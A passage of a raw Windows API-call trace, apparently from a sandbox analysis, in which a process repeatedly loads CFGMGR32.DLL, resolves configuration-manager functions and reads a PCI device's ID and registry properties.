0x7ffb1ced0000 [0212.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.001] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.001] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.001] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.002] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.002] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.002] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.002] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.002] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.002] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.002] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.003] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.003] malloc (_Size=0x18) returned 0x20abc281ae0 [0213.003] CM_Get_Device_IDA (in: dnDevInst=0x7, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_02\\3&11583659&0&08") returned 0x0 [0213.003] malloc (_Size=0x48) returned 0x20abc27cf80 [0213.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3aba048d, dwHighDateTime=0x1d9eb0c)) [0213.003] SetEvent (hEvent=0x248) returned 1 [0213.007] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.007] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.010] malloc (_Size=0x18) returned 0x20abc281fc0 [0213.011] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0213.011] malloc (_Size=0x124) returned 0x20abc286890 [0213.011] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0213.012] free (_Block=0x20abc286890) [0213.012] malloc (_Size=0x48) returned 0x20abc27cf80 [0213.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3aba048d, dwHighDateTime=0x1d9eb0c)) [0213.012] SetEvent (hEvent=0x248) returned 1 [0213.178] malloc (_Size=0x18) returned 0x20abc281dc0 [0213.178] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0213.178] free (_Block=0x20abc281dc0) [0213.178] malloc (_Size=0x18) returned 0x20abc281e80 [0213.178] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0213.178] free (_Block=0x20abc281e80) [0213.178] malloc (_Size=0x18) returned 0x20abc2819a0 [0213.178] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0213.178] free (_Block=0x20abc2819a0) [0213.178] malloc (_Size=0x18) returned 0x20abc281ec0 [0213.178] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0213.178] free (_Block=0x20abc281ec0) [0213.178] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d2f0 [0213.178] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0213.178] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0213.178] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0213.179] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79730 [0213.179] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0213.179] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0213.179] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0213.179] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0213.179] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79760, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.179] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79768, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.180] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79770, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.180] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79778, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.180] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79730) returned 1 [0213.181] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d2f0) returned 1 [0213.181] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.181] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.181] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.184] malloc (_Size=0x18) returned 0x20abc281f20 [0213.185] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0213.185] malloc (_Size=0x10e) returned 0x20abc286890 [0213.185] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0213.186] free (_Block=0x20abc286890) [0213.186] malloc (_Size=0x48) returned 0x20abc2a7f10 [0213.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3ad43bfe, dwHighDateTime=0x1d9eb0c)) [0213.186] SetEvent (hEvent=0x248) returned 1 [0213.189] malloc (_Size=0x18) returned 0x20abc281b00 [0213.189] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0213.189] free (_Block=0x20abc281b00) [0213.189] malloc (_Size=0x18) returned 0x20abc281e00 [0213.189] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0213.189] free (_Block=0x20abc281e00) [0213.189] malloc (_Size=0x18) returned 0x20abc281960 [0213.189] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0213.189] free (_Block=0x20abc281960) [0213.189] malloc (_Size=0x18) returned 0x20abc281e60 [0213.190] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0213.190] free (_Block=0x20abc281e60) [0213.190] malloc (_Size=0x18) returned 0x20abc281fe0 [0213.190] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0213.190] free (_Block=0x20abc281fe0) [0213.190] malloc (_Size=0x18) returned 0x20abc281e00 [0213.190] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0213.190] free (_Block=0x20abc281e00) [0213.190] malloc (_Size=0x18) returned 0x20abc281b20 [0213.190] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0213.190] free (_Block=0x20abc281b20) [0213.190] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d270 [0213.190] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0213.190] SafeArrayGetLBound (in: psa=0x20abba80750, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0213.190] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0213.191] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79550 [0213.191] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0213.191] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0213.191] SafeArrayGetElemsize (psa=0x20abba80750) returned 0x8 [0213.191] SafeArrayGetElement (in: psa=0x20abba80750, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0213.191] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff40, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.192] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff48, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.192] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff50, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.192] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff58, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.192] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff60, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.192] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff68, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.193] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ff70, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0213.193] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79550) returned 1 [0213.193] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d270) returned 1 [0213.194] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.194] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.198] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.198] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.198] malloc (_Size=0x18) returned 0x20abc2819c0 [0213.198] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0213.206] malloc (_Size=0x48) returned 0x20abc27cf80 [0213.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3ad90127, dwHighDateTime=0x1d9eb0c)) [0213.206] SetEvent (hEvent=0x248) returned 1 [0213.212] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.212] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.215] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.360] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.360] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.361] malloc (_Size=0x18) returned 0x20abc281f60 [0213.361] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0213.362] malloc (_Size=0x48) returned 0x20abc27cb20 [0213.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3af0d948, dwHighDateTime=0x1d9eb0c)) [0213.362] SetEvent (hEvent=0x248) returned 1 [0213.365] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.365] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.369] malloc (_Size=0x18) returned 0x20abc281fc0 [0213.369] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0213.369] malloc (_Size=0x48) returned 0x20abc27cb20 [0213.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3af0d948, dwHighDateTime=0x1d9eb0c)) [0213.370] SetEvent (hEvent=0x248) returned 1 [0213.374] 